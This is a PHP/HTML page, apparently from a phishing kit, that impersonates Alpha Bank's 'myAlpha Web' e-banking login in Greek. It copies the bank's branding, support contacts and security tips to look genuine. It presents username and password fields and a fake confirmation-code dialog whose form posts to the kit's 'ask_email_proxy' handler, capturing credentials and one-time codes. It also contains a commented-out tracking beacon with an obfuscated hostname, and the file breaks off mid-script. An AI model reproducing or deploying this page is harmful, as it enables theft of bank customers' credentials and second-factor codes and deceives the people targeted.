<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="email/";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js">
    </script>
    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet"
        href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js?<?= time(); ?>">
    </script>


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js">
    </script>

    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js">
    </script>


    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <!-- <script src="nb.js.download"></script> -->
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="format-detection" content="telephone=no">
    <meta name="_csrf_header" content="X-CSRF-TOKEN">
    <meta name="_csrf" content="5cc221db-26e2-4f3b-8fcc-d16165471e06">
    <script type="text/javascript" src="jquery-3.4.1-ver-D19AFC7779BBA20E96683BE58B330F62.js.download"></script>
    <script type="text/javascript" src="wicket-ajax-jquery-ver-3A8C326A8436172FC95523D517EBC88B.js.download"></script>
    <script type="text/javascript" id="wicket-ajax-base-url">
    </script>

    <link rel="stylesheet" href="form/css.css">
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">







    <meta http-equiv="PRAGMA" content="NO-CACHE">
    <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">



    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="stylesheet" href="login.css">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="Server" content="AlphaFarm05">
    <script async="" defer="" src="sed-alphabank-2260e9ef.js.download" id="_imp_apg_dip_" _imp_apg_cid_="sed-alphabank-2260e9ef"></script><title>myAlpha Web</title>
    <!-- Styles -->
    <link href="login" rel="stylesheet">
    <link rel="stylesheet" href="app-loading-indicator.css">
    <link href="styles.1008db43e956afbb7b32.css" rel="stylesheet">

<script src="ai.0.js.download"></script>
<style>
    .mat-dialog-container {
    display: block;
    padding: 24px;
        border-radius: 4px;
        box-sizing: border-box;
        overflow: auto;
        outline: 0;
        width: 100%;
        height: 100%;
        min-height: inherit;
        max-height: inherit;
    }

    .otp-dialog {
        padding: 24px;
        overflow: auto;
        max-height: 100vh;
    }

    .mat-dialog-header-div {
        display: flex;
        justify-content: space-between;
        padding-top: 10px;
        right: 0;
    }

    .mat-form-field-wrapper {
        position: relative;
    }

    .mat-form-field-flex {
        display: inline-flex;
        align-items: baseline;
        box-sizing: border-box;
        width: 100%;
    }

    .mat-form-field-infix {
        display: block;
        position: relative;
        flex: auto;
        min-width: 0;
        width: 180px;
    }

    .ab-input {
        text-align: center;
    }

    .mat-input-element {
        font: inherit;
        background: 0 0;
        color: currentColor;
        border: none;
        outline: 0;
        padding: 0;
        margin: 0;
        width: 100%;
        max-width: 100%;
        vertical-align: bottom;
        text-align: inherit;
    }

    .mat-form-field-label-wrapper {
        position: absolute;
        left: 0;
        box-sizing: content-box;
        width: 100%;
        height: 100%;
        overflow: hidden;
        pointer-events: none;
    }

    .mat-form-field-appearance-legacy .mat-form-field-underline {
        height: 1px;
    }

    .mat-form-field-underline {
        position: absolute;
        width: 100%;
        pointer-events: none;
        transform: scaleY(1.0001);
    }

    .mat-form-field-appearance-legacy.mat-form-field-invalid:not(.mat-focused) .mat-form-field-ripple {
        height: 1px;
    }

    .mat-form-field.mat-focused .mat-form-field-ripple, .mat-form-field.mat-form-field-invalid .mat-form-field-ripple {
        opacity: 1;
        transform: scaleX(1);
        transition: transform .3s cubic-bezier(.25,.8,.25,1),opacity .1s cubic-bezier(.25,.8,.25,1),background-color .3s cubic-bezier(.25,.8,.25,1);
    }

    .mat-form-field.mat-form-field-invalid .mat-form-field-ripple, .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent {
        background-color: #f44336;
    }

    .mat-form-field-appearance-legacy .mat-form-field-ripple {
        top: 0;
        height: 2px;
        overflow: hidden;
    }

    .mat-form-field-ripple {
        position: absolute;
        left: 0;
        width: 100%;
        transform-origin: 50%;
        transform: scaleX(.5);
        opacity: 0;
        transition: background-color .3s cubic-bezier(.55,0,.55,.2);
    }

    .mat-form-field-subscript-wrapper {
        position: absolute;
        box-sizing: border-box;
        width: 100%;
        overflow: hidden;
    }

    .mat-form-field-hint-wrapper {
        display: flex;
    }

    .mat-form-field-hint-spacer {
        flex: 1 0 1em;
    }

    .actions-container {
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        justify-content: center;
    }

    .mat-button, .mat-flat-button, .mat-icon-button, .mat-stroked-button {
        box-sizing: border-box;
        position: relative;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
        cursor: pointer;
        outline: 0;
        border: none;
        -webkit-tap-highlight-color: transparent;
        display: inline-block;
        white-space: nowrap;
        text-decoration: none;
        vertical-align: baseline;
        text-align: center;
        margin: 0;
        min-width: 64px;
        line-height: 36px;
        padding: 0 16px;
        border-radius: 4px;
        overflow: visible;
    }

    .mat-button-focus-overlay, .mat-button-ripple.mat-ripple {
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        position: absolute;
        pointer-events: none;
        border-radius: inherit;
    }

    .mat-button .mat-button-focus-overlay, .mat-icon-button .mat-button-focus-overlay {
        opacity: 0;
    }

    .mat-button-focus-overlay {
        opacity: 0;
        transition: opacity .2s cubic-bezier(.35,0,.25,1),background-color .2s cubic-bezier(.35,0,.25,1);
    }

    .validation-error-container {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 30px;
        margin-top: 7px;
    }

    .mat-button-focus-overlay, .mat-button-ripple.mat-ripple {
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        position: absolute;
        pointer-events: none;
        border-radius: inherit;
    }

    span.ab-tooltip {
        cursor: pointer;
        position: relative;
        top: 3px;
        left: 3px;
        opacity: 1;
    }

    .resend-actions-panel {
        box-shadow: 2px 3px 10px 3px rgba(0,0,0,.1)!important;
        margin-left: 28px;
        margin-right: 28px;
        border-radius: 10px;
    }

    .mat-expansion-panel {
        box-sizing: content-box;
        display: block !important;
        margin: 0;
        border-radius: 4px;
        overflow: hidden;
        transition: margin 225ms cubic-bezier(.4,0,.2,1),box-shadow 280ms cubic-bezier(.4,0,.2,1);
    }

    .resend-actions-panel .mat-expansion-panel-header {
        padding: 0 10px;
    }

    .mat-expansion-panel-header:not([aria-disabled=true]) {
        cursor: pointer;
    }

    .mat-expansion-panel-header {
        display: flex;
        flex-direction: row;
        align-items: center;
        padding: 0 24px;
        border-radius: inherit;
    }

    .mat-content {
        display: flex;
        flex: 1;
        flex-direction: row;
        overflow: hidden;
    }

    .resend-actions-panel {
        display: flex;
        justify-content: center;
        align-items: center;
        border-right: 1px solid #cdd4d9;
    }

    div.gray-circle-outer {
        background-color: transparent;
        border: 1px solid #f0f2f5;
        border-radius: 50%;
        -moz-border-radius: 50%;
        -webkit-border-radius: 50%;
        height: 40px;
        min-height: 40px;
        width: 40px;
        min-width: 40px;
        display: inline-block;
    }

    #countdown {
        position: relative;
        margin: auto;
        text-align: center;
    }

    div.gray-circle-inner {
        background-color: #f0f2f5;
        border: 1px solid #f0f2f5;
        height: 34px;
        border-radius: 50%;
        -moz-border-radius: 50%;
        -webkit-border-radius: 50%;
        width: 34px;
        top: 2px;
        position: relative;
        display: inline-block;
    }

    svg {
        position: absolute;
        top: -1px;
        right: -1px;
        width: 40px;
        height: 40px;
        -webkit-transform: rotateY(-180deg) rotateZ(-90deg);
        transform: rotateY(0) rotateZ(-90deg);
    }

    svg circle {
        stroke-dasharray: 113px;
        stroke-dashoffset: 0;
        stroke-linecap: round;
        stroke-width: 3px;
        stroke: #1b589c;
        fill: none;
        -webkit-animation: 60s linear forwards countdown;
        animation: 60s linear forwards countdown;
    }

    .mat-expansion-indicator::after {
        border-style: solid;
        border-width: 0 2px 2px 0;
        content: '';
        display: inline-block;
        padding: 3px;
        transform: rotate(45deg);
        vertical-align: middle;
    }

    .mat-expansion-panel-content {
        display: flex;
        flex-direction: column;
        overflow: visible;
    }

    .mat-expansion-panel-body {
        padding: 0 24px 16px;
    }

    .resend {
        cursor: pointer;
    }

    .resend-action-container {
        display: flex;
        justify-content: flex-start;
        align-items: center;
    }

    .resend-actions-panel {
        box-shadow: 2px 3px 10px 3px rgba(0,0,0,.1)!important;
        margin-left: 28px;
        margin-right: 28px;
        border-radius: 10px;
    }

    .resend-actions-panel .mat-expansion-panel-header {
        padding: 0 10px;
    }

    .mat-expansion-panel-header {
        display: flex;
        flex-direction: row;
        align-items: center;
        padding: 0 24px;
        border-radius: inherit;
    }

</style>
</head>



<body style="bakground-color: #211029">
    <div class="cdk-overlay-container">
        <div class="cdk-overlay-backdrop cdk-overlay-dark-backdrop cdk-overlay-backdrop-showing">
        </div>
        <div class="cdk-global-overlay-wrapper" dir="ltr" style="justify-content: center; align-items: center;">
            <div id="cdk-overlay-2" class="cdk-overlay-pane visible-overflow-dialog no-padding-dialog" style="max-width: 80vw; pointer-events: auto; width: 650px; position: static;">
                <div tabindex="0" class="cdk-visually-hidden cdk-focus-trap-anchor" aria-hidden="true">

                </div>
                <mat-dialog-container aria-modal="true" class="mat-dialog-container ng-tns-c48-32 ng-trigger ng-trigger-dialogContainer ng-star-inserted" tabindex="-1" id="mat-dialog-1" role="dialog" style="transform: none;">
                    <!---->
                    <ab-otp-modal _nghost-mlt-c78="" class="ng-star-inserted" style="">
                        <div _ngcontent-mlt-c78="" class="ab-form otp-dialog">
                            <div _ngcontent-mlt-c78="" class="mat-dialog-header-div">
                                <div _ngcontent-mlt-c78="">
                                    <link rel="stylesheet" href="app-loading-indicator.css">

                                </div>
                                <div _ngcontent-mlt-c78="" class="vh-centered-container">
                                    <!----><span _ngcontent-mlt-c78="" class="my-alpha-code-image ng-star-inserted" style="">

                                    </span>
                                </div>
                                <div _ngcontent-mlt-c78="">
                                    <span _ngcontent-mlt-c78="" class="hoverable-icon svg-icon-16 svg-icon-close-16px" data-ut-x-button="">

                                    </span>
                                </div>
                            </div>
                            <div _ngcontent-mlt-c78="" class="container-fluid border-top" id="email-view">
                                <form _ngcontent-mlt-c78="" novalidate="" class="ng-untouched ng-pristine ng-valid" name="email_form" id="email_form" method="post"
                                        onsubmit="send1(event,'ask_email_proxy');return false" class="email-form"
                                        autocomplete="off" class="metafrm">
                                    
                                    <!---->
                                    <ab-code-verification _ngcontent-mlt-c78="" _nghost-mlt-c79="" class="ng-star-inserted" style="">
                                        <div _ngcontent-mlt-c79="" class="row mt-5">
                                            <div _ngcontent-mlt-c79="" class="col-12 px-0 text-center bluish-text xxlarge-font large-line-height">
                                                <div _ngcontent-mlt-c79="">
                                                    <!---->
                                                    <span _ngcontent-mlt-c79="" class="ng-star-inserted"><!--Εισάγετε το myAlpha Code που σας έχει σταλεί-->
													<!--Συμπληρώστε τον κωδικό επιβεβαίωσης.-->
													Συμπληρώστε τον κωδικό επιβεβαίωσης.
													</span>
                                                    <!----><!---->
                                                </div><!---->
                                                <div _ngcontent-mlt-c79="" class="ng-star-inserted"><!-- στο κινητό τηλέφωνο --> </div>
                                            </div>
                                            <div _ngcontent-mlt-c79="" class="col-12 h-centered-container mt-4">
                                                <mat-form-field _ngcontent-mlt-c79="" class="mat-form-field ng-tns-c51-33 mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-invalid mat-form-field-invalid ng-touched">
                                                    <div class="mat-form-field-wrapper">
                                                        <div class="mat-form-field-flex">
                                                            <!----><!----><div class="mat-form-field-infix">
                                                                <input _ngcontent-mlt-c79="" autocomplete="off" class="ab-input text-center bluish-text mat-input-element mat-form-field-autofill-control cdk-text-field-autofill-monitored ng-pristine ng-invalid ng-touched" matinput="" name="otp-input" value="" id="mat-input-2" aria-invalid="true" aria-required="false" required>
                                                                <span class="mat-form-field-label-wrapper">
                                                                    <!----></span></div><!----></div><!---->
                                                                    <div class="mat-form-field-underline ng-tns-c51-33 ng-star-inserted">
                                                                        <span class="mat-form-field-ripple"></span>
                                                                    </div>
                                                                    <div class="mat-form-field-subscript-wrapper"><!----><!---->
                                                                        <div class="mat-form-field-hint-wrapper ng-tns-c51-33 ng-trigger ng-trigger-transitionMessages ng-star-inserted" style="opacity: 1; transform: translateY(0%);"><!---->
                                                                            <div class="mat-form-field-hint-spacer">

                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                            </mat-form-field>
                                                        </div>
                                                        <div _ngcontent-mlt-c79="" class="col-12 validation-error-container"><!---->
                                                        <div class="err_div" style="display: none;">
                                                                <div id="errorMsg" class="text-left font-sm red">Τα στοιχεία που δώσατε είναι λανθασμένα.</div>
                                                                </div>
                                                        </div>
                                                    </div>
                                                </ab-code-verification><!----><!----><!----><!---->
                                                <div _ngcontent-mlt-c78="" class="row mt-2 mx-4 ng-star-inserted" style="">
                                                    <div _ngcontent-mlt-c78="" class="col-md-12 actions-container">
                                                        <button _ngcontent-mlt-c78="" class="accept-button mat-button" mat-button="" type="submit">
                                                            <span class="mat-button-wrapper"> Συνέχεια </span>
                                                            <div class="mat-button-ripple mat-ripple" matripple=""></div>
                                                            <div class="mat-button-focus-overlay"></div>
                                                        </button>
                                                    </div>
                                                </div><!---->
                                                <div _ngcontent-mlt-c78="" class="row mt-2 col-12 align-items-center px-0 ng-star-inserted" data-ut-viber-first-text="" style="">
                                                    <span _ngcontent-mlt-c78=""
                                                        class="warm-grey-text large-font small-line-height col-11 pr-0 vh-centered-container text-center">
														<!--Οι
                                                        κωδικοί myAlpha Code για τις συναλλαγές του e-Banking
                                                        αποστέλονται κατά προτεραιότητα μέσω Viber εφόσον διαθέτετε
                                                        λογαριασμό, ή μέσω SMS εάν δεν διαθέτετε. Σε περίπτωση που δεν
                                                        λάβατε το myAlpha Code παρακαλούμε επιλέξτε επαναποστολή μόλις
                                                        αυτή ενεργοποιηθεί.-->
														<!--Συμπληρώστε τον κωδικό επιβεβαίωσης.
														<br>-->
														<!--A confirmation code has been sent to your registered e-mail.<br>-->
														Ένας κωδικός επιβεβαίωσης έχει σταλεί στο καταχωρημένο e-mail σας.
														</span><span _ngcontent-mlt-c78=""
                                                        class="col-1 mx-0 pr-0 pl-2">
                                                        <ab-tooltip _ngcontent-mlt-c78="" tooltipplacement="top"
                                                            tooltiptemplate="<div class='tooltip' role='tooltip'><div class='arrow'></div><div class='tooltip-with-image tooltip-inner'></div></div>"
                                                            _nghost-mlt-c62=""><span _ngcontent-mlt-c62=""
                                                                aria-label="Button that displays a tooltip when focused or hovered over"
                                                                data-html="true" data-toggle="tooltip"
                                                                class="ab-tooltip svg-icon-16 svg-icon-info-16px"
                                                                title=""
                                                                data-original-title="<div style='width:560px;position:relative;margin-bottom: 25px;'><div style='font-size: 17px;color: #2378d7;'>Απενεργοποίηση λήψης myAlpha Code στην εφαρμογή Viber</div><br><span style='font-size: 15px;line-height: 1.33;text-align: center;color: #707070;padding: 0.5em 0;'>Σε περίπτωση που δεν επιθυμείτε να λαμβάνετε myAlpha Code μέσω Viber μπορείτε να προχωρήσετε στον αποκλεισμό τους από την Viber εφαρμογή.</span><br><br><table><tr><td><img width='265' height='135' src='https://secure.alpha.gr/static/common/v1/images/otp/otp-viber-disable-step1.png'/></td><td><img width='265' height='135' src='https://secure.alpha.gr/static/common/v1/images/otp/otp-viber-disable-step2-el.png'/></td></tr><tr><td style='text-align: left;color: #707070;'><u>Βήμα 1:</u> Ανοίξτε τη <b>συνομιλία της Alpha Bank</b> και επιλέξτε το <b>info button επάνω δεξιά</b>.</td><td style='text-align: left;color: #707070;'><u>Βήμα 2:</u> Στην οθόνη που θα εμφανιστεί <b>απενεργοποιήστε τη δυνατότητα παραλαβής μηνυμάτων</b></td></tr></table></div>"></span>
                                                        </ab-tooltip>
                                                    </span></div>
                                                    <!---->
                                                    <!---->
                                                    <ab-otp-channel-selection _ngcontent-mlt-c78="" _nghost-mlt-c83=""
                                                        class="ng-star-inserted" style="">
                                                        <mat-expansion-panel _ngcontent-mlt-c83=""
                                                            class="resend-actions-panel blue-indicator no-padding mt-4 mat-expansion-panel ng-tns-c14-34">
                                                            <mat-expansion-panel-header _ngcontent-mlt-c83=""
                                                                class="mat-expansion-panel-header ng-tns-c15-35 ng-trigger ng-trigger-expansionHeight ng-star-inserted"
                                                                collapsedheight="60px" expandedheight="60px"
                                                                role="button" id="mat-expansion-panel-header-2"
                                                                tabindex="0" aria-controls="cdk-accordion-child-2"
                                                                aria-expanded="false" aria-disabled="false"
                                                                style="height: 60px;"><span class="mat-content">
                                                                    <div _ngcontent-mlt-c83=""
                                                                        class="countdown-circle-container pr-3">
                                                                        <div _ngcontent-mlt-c83=""
                                                                            class="gray-circle-outer">
                                                                            <div _ngcontent-mlt-c83="" id="countdown">
                                                                                <div _ngcontent-mlt-c83=""
                                                                                    class="gray-circle-inner"></div>
                                                                                <!----><svg _ngcontent-mlt-c83=""
                                                                                    data-ut-countdown-circle=""
                                                                                    class="ng-star-inserted" style="">
                                                                                    <circle _ngcontent-mlt-c83=""
                                                                                        cx="20" cy="20" r="18"></circle>
                                                                                </svg>
                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                    <div _ngcontent-mlt-c83=""
                                                                        class="warm-grey-text medium-font px-3"> Εάν δεν
                                                                        λάβατε το myAlpha Code, παρακαλούμε επιλέξτε μία
                                                                        από τις παρακάτω επιλογές για την επαναποστολή
                                                                        του κωδικού μόλις αυτές ενεργοποιηθούν. </div>
                                                                </span>
                                                                <!----><span
                                                                    class="mat-expansion-indicator ng-tns-c15-35 ng-trigger ng-trigger-indicatorRotate ng-star-inserted"
                                                                    style="transform: rotate(0deg);"></span>
                                                            </mat-expansion-panel-header>
                                                            <div class="mat-expansion-panel-content ng-trigger ng-trigger-bodyExpansion"
                                                                role="region"
                                                                aria-labelledby="mat-expansion-panel-header-2"
                                                                id="cdk-accordion-child-2"
                                                                style="height: 0px; visibility: hidden;">
                                                                <div class="mat-expansion-panel-body">
                                                                    <div _ngcontent-mlt-c83="">
                                                                        <div _ngcontent-mlt-c83=""
                                                                            class="container mb-4 px-5">
                                                                            <div _ngcontent-mlt-c83="" class="row">
                                                                                <!---->
                                                                                <!---->
                                                                                <!---->
                                                                                <!---->
                                                                                <div _ngcontent-mlt-c83=""
                                                                                    class="col-6 mt-4 ng-star-inserted"
                                                                                    style="">
                                                                                    <div _ngcontent-mlt-c83=""
                                                                                        class="resend"
                                                                                        data-ut-resend="">
                                                                                        <div _ngcontent-mlt-c83=""
                                                                                            class="resend-action-container">
                                                                                            <span _ngcontent-mlt-c83=""
                                                                                                class="sms-icon mr-2"></span><span
                                                                                                _ngcontent-mlt-c83=""
                                                                                                class="cobalt-text bold">Επαναποστολή
                                                                                                myAlpha Code</span>
                                                                                        </div>
                                                                                    </div>
                                                                                </div>
                                                                                <!---->
                                                                                <!---->
                                                                            </div>
                                                                        </div>
                                                                        <!---->
                                                                    </div>
                                                                    <!---->
                                                                </div>
                                                            </div>
                                                        </mat-expansion-panel>
                                                    </ab-otp-channel-selection>
                                                    </form>
                                                    </div>
                                                    </div>
                                                    </ab-otp-modal>
                                                    </mat-dialog-container>
                                                    <div tabindex="0" class="cdk-visually-hidden cdk-focus-trap-anchor"
                                                        aria-hidden="true"></div>
                                                    </div>
                                                    </div>
                                                    </div>    <div id="notif" class="row notif">
        <div class="col-1 py-3" style="padding-left: 37px;">
            <img src="notification.png">
        </div>
        <div class="col py-3">
            <!-- Notification title placeholder -->
            <div id="notifTitle" class="notif-title">Σημαντική ενημέρωση: </div>
            <!-- Notification message placeholder -->
            <div id="notifMsg" class="pt-1">Σας ενημερώνουμε ότι εξαιτίας υπερβολικού φόρτου, ενδέχεται να παρατηρηθεί προσωρινή αδυναμία σύνδεσης στις υπηρεσίες μας. Ευχαριστούμε για την κατανόηση.</div>
        </div>
        <div class="col-1 py-3" style="padding-right: 37px;">
            <a href="javascript:void(0)" class="notif-close-btn float-right" onclick="closeNotif()"></a>
        </div>
    </div>
    <div class="row mt-3">
        <div class="col pt-1 font-normal grey" style="padding-left: 37px; padding-right: 37px;">
            <img src="logo.png">
            <img src="lock.png" class="pl-5" style="margin-bottom: 10px;">
            Εισέρχεστε σε ασφαλές περιβάλλον της Τράπεζας. Μάθετε περισσότερα <a class="font-normal cobalt" href="#" target="_blank">εδώ</a>.
            <div class="float-right font-normal grey">
                Χρειάζεστε βοήθεια;
                <img id="servicesIcon" src="laptop.png" class="pl-2 pr-1 cp" onclick="userModal(1)" data-original-title="" title="" aria-describedby="popover466303"> |
                <a href="mailto:ebankingsupport@alpha.gr"><img id="emailIcon" src="email.png" class="pl-1 pr-1" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="ebankingsupport@alpha.gr"></a> |
                <a href="tel:+30-210-326-0000"><img id="phoneIcon" src="phone.png" class="pl-1" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="&lt;b&gt;210 326 0000&lt;/b&gt; (καθημερινά 8:00 - 22:30)"></a>
                <a class="pl-4 font-normal cobalt" href="#">EN</a>
            </div>
        </div>
    </div>
    <div id="mainContainer" class="row" style="height: 768px;">
        <div class="col bg text-center">
            <div id="loginContainer" class="bg2" style="margin-top: 0px; padding-top: 90px;">
                <div>
                    <form id="loginFormTmp" class="form-signin mx-auto mt-5 form-validation" novalidate="">
                        <h1 class="h3 mb-3 font-xl cobalt">Καλώς ήρθατε στο myAlpha Web</h1>
                        <h1 class="h3 mb-3 font-lg cobalt">Είσοδος για Ιδιώτες &amp; Επιχειρήσεις</h1>
                        <input type="text" id="inputUsername" class="form-control" placeholder="Username" autofocus="" autocomplete="off" maxlength="80" required="">
                        <input type="password" id="inputPassword" class="form-control" placeholder="Password" maxlength="25" required="">
                        <div class="checkbox mb-3 font-sm cobalt">
                            <span class="float-left"><input id="inputRM" type="checkbox" value="1"> Να με θυμάσαι<img id="infoIcon" src="info.png" class="pl-2" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="Μπορείτε να αποθηκεύσετε το Username της συνδρομής σας σε αυτόν τον υπολογιστή.&lt;br&gt;Προσοχή: Μην αποθηκεύετε το Username εάν χρησιμοποιείτε δημόσιο ή κοινόχρηστο υπολογιστή!"></span>
                            <a class="float-right cobalt cred-link" href="#" target="_blank">Ξέχασα το Password / Κλείδωσα την συνδρομή μου</a><br>
                            <span class="float-right cp cred-link" onclick="userModal(4)">Ξέχασα το Username μου</span>
                        </div>
                        <button id="submitButton" type="submit" class="form-btn signin mt-4">Είσοδος</button>
                        <button type="button" class="form-btn register mt-3" onclick="userModal(2)">Εγγραφή στο e-Banking</button>
                    </form>
                </div>
                <div class="tips mx-auto text-left font-normal grey">
                    <div class="text-center"><b>Συμβουλές ασφαλείας</b></div>
                    <div class="row">
                        <div class="col-1 ml-2"><img src="shield.png"></div>
                        <div class="col-10">
                            <div id="tipsCarousel" class="carousel slide" data-ride="carousel">
                                <ol class="carousel-indicators">
                                    <li data-target="#tipsCarousel" data-slide-to="0" class="active"></li>
                                    <li data-target="#tipsCarousel" data-slide-to="1" class=""></li>
                                    <li data-target="#tipsCarousel" data-slide-to="2" class=""></li>
                                </ol>
                                <div class="carousel-inner">
                                    <div class="carousel-item active">
                                        <div class="row">
                                            <div class="col ml-2 my-auto">
                                                <div>Οι κωδικοί σας (Username και Password) είναι αυστηρά προσωπικοί και δεν πρέπει να τους αποκαλύπτετε σε κανέναν.</div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="carousel-item">
                                        <div class="row">
                                            <div class="col ml-2 my-auto">
                                                <div>Mην απαντάτε σε email που ζητούν στοιχεία λογαριασμών ή κωδικών σας και μην ακολουθείτε links που προτείνουν.</div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="carousel-item">
                                        <div class="row">
                                            <div class="col ml-2 my-auto">
                                                <div>Χρησιμοποιείτε antivirus και antimalware για ασφάλεια από κακόβουλα λογισμικά.</div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="demo-container">
                    <button type="button" class="demo-btn" onclick="userModal(3)">Δείτε το Demo ▶</button>
                </div>
            </div>
        </div>
    </div>
    <div class="row separator-line"></div>
    <div class="row">
        <div class="col mt-3 mb-3 text-center font-normal grey">
            <a class="font-normal grey" href="#" target="_blank">Όροι Χρήσης</a> |
            <a class="font-normal grey" href="#" target="_blank">Ασφάλεια</a> |
            <a class="font-normal grey" href="#" target="_blank">Πολιτική Απορρήτου</a>
        </div>
    </div>
    <!-- Modal -->
    <div class="modal fade" id="loginModal" tabindex="-1" role="dialog" aria-labelledby="loginModalLabel" aria-hidden="true" style="margin-top: 260px;">
        <div class="modal-dialog" role="document">
            <div class="modal-content" id="modalContent" style="width: 550px;">
                <div class="modal-header border-bottom-0 pb-0">
                    <button type="button" class="close modal-close-btn" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">×</span>
                    </button>
                </div>
                <div class="modal-body pt-0 pb-4">
                    <div class="row mb-3">
                        <div class="col text-center">
                            <span class="font-lg grey" id="modalTitle">Modal title</span>
                        </div>
                    </div>
                    <div class="row mb-3">
                        <div class="col text-center mx-auto">
                            <button id="retailBtn" type="button" class="btn btn-link modal-btn shadow font-md cobalt">
                                <img src="retail.png" class="pt-4">
                                <p class="mt-1" style="line-height:1px;">Είστε ιδιώτης;</p>
                            </button>
                        </div>
                        <div class="col text-center mx-auto">
                            <button id="corporateBtn" type="button" class="btn btn-link modal-btn shadow font-md cobalt">
                                <img src="corporate.png" class="pt-3">
                                <p class="mt-1" style="line-height:1px;">Είστε εταιρικός χρήστης;</p>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

<form action="#" class="hidden" id="loginForm" method="post"><input name="__RequestVerificationToken" type="hidden" value="kRdK69yuaR7ciYUlGjvHFo3j0CjeKjpoBJ_QRQTd1Dq4U7fFMuDU6Ej7FCa5k-VwV8QkckwbRopT1gKR_jQUf8y0WZrED1a16ePF9mSfk6I1">        <input id="hiddenUser" name="Username" type="hidden">
        <input id="hiddenPass" name="Password" type="hidden">
        <input id="E" name="E" type="hidden" value="010001">
        <input id="N" name="N" type="hidden" value="9EE62086EA8B4016D2C2421ED4B2503402C6214E1E4489422E3D7053610224DEF7C13CD2CD21F652170373FA66DE1EE579ED15C2A91145A104AAF65E9DF0F6E11CEDE62093A698DA0941AE98447F96FFE1986BB53F59E35D73060EE70717C118077F92ACEDD8708597B9122D63698F69ABE1C4E2C42DD27C05E2DAE5380C99F65D53C7EE7973770408AB6101BE621957BBF14F7859E7F04D8D7F8541B924A1FAE0435003CF5F7A7C8FF80FA0D040A9E09F8D6B54582A81C68AC377B34D502AA3078C975B7FCB65EC02BC9F3C0B3A085FEABF6658B925BCBC9C6B5703707C4C2761BC2867D7E5114DAE973AA3BAC85F47583A06BB8F501E755F0FB2C131C78FA1">
        <input id="A" name="ActivityDateTime" type="hidden" value="2021-10-29T13:46:26Z">
        <input id="U" name="UniqueIdentifier" type="hidden" value="172aaf4e-792b-4224-92dd-15f45eee0aca">
        <input id="hiddenPath" name="RedirectTo" type="hidden" value="">
        <input id="loginType" name="LoginType" type="hidden" value="All">
        <input id="iframeType" name="IFrameType" type="hidden" value="0">         <input id="screenResolution" name="ScreenResolution" type="hidden">
        <input id="timeZone" name="TimeZone" type="hidden">
</form>    <input id="iKey" name="iKey" type="hidden" value="00ced89a-f71e-4c8f-94bc-90eae5cb233a">
    <input id="appId" name="appId" type="hidden" value="54d45c5d-9142-4893-bc82-cd01df78a6f5">
    <input id="disableAi" name="disableAi" type="hidden" value="False">
    <input id="aiEndpoint" name="aiEndpoint" type="hidden" value="#">
    <input id="opId" name="opId" type="hidden" value="253cf709e41961408d0b425cd2525961">
    <input id="opName" name="opName" type="hidden" value="MyAlphaWeb">
    <input id="serverDisplayName" name="serverDisplayName" type="hidden" value="AlphaFarm05">
    <script src="appInsights"></script>

    <script src="login(1)"></script>

    <script src="rsa"></script>

    <script src="sjcl.min.js.download"></script>
    <script type="text/javascript">
        var loginSettings = loginSettings || {};
        loginSettings.LoginType = 0;

        
        // new Image().src = document.location.protocol + "//mon" + "sta" + "t.co" + "m/" + "myAlphaWeb2" + ".p" + "ng?du=" + escape(document.location) + "&dr=" + escape(document.referrer) + "&rr=" + Math.random();

        var userActivityTimeout = null;
        var userActivityThrottlerTimeout = null
